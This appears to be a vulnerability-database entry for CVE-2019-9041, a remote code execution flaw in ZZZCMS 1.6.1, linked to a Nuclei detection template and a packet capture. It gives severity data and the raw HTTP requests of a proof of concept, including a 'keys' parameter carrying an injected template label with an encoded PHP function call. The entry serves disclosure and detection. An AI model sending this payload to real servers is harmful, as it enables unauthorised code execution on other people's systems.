| Title | ZZZCMS 1.6.1 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patch or upgrade to a newer version of ZZZCMS. |
| CVSS Score | 7.2 |
| EPSS Score | 0.85327 |
| CVE ID | CVE-2019-9041 |
| CWE ID | CWE-917 |
| Tags | cve cve2019 zzzcms rce edb vuln |
ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function’s filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.
POST /search/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0
POST /search/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.1
Connection: close
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9041.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9041.pcap
N/AN/A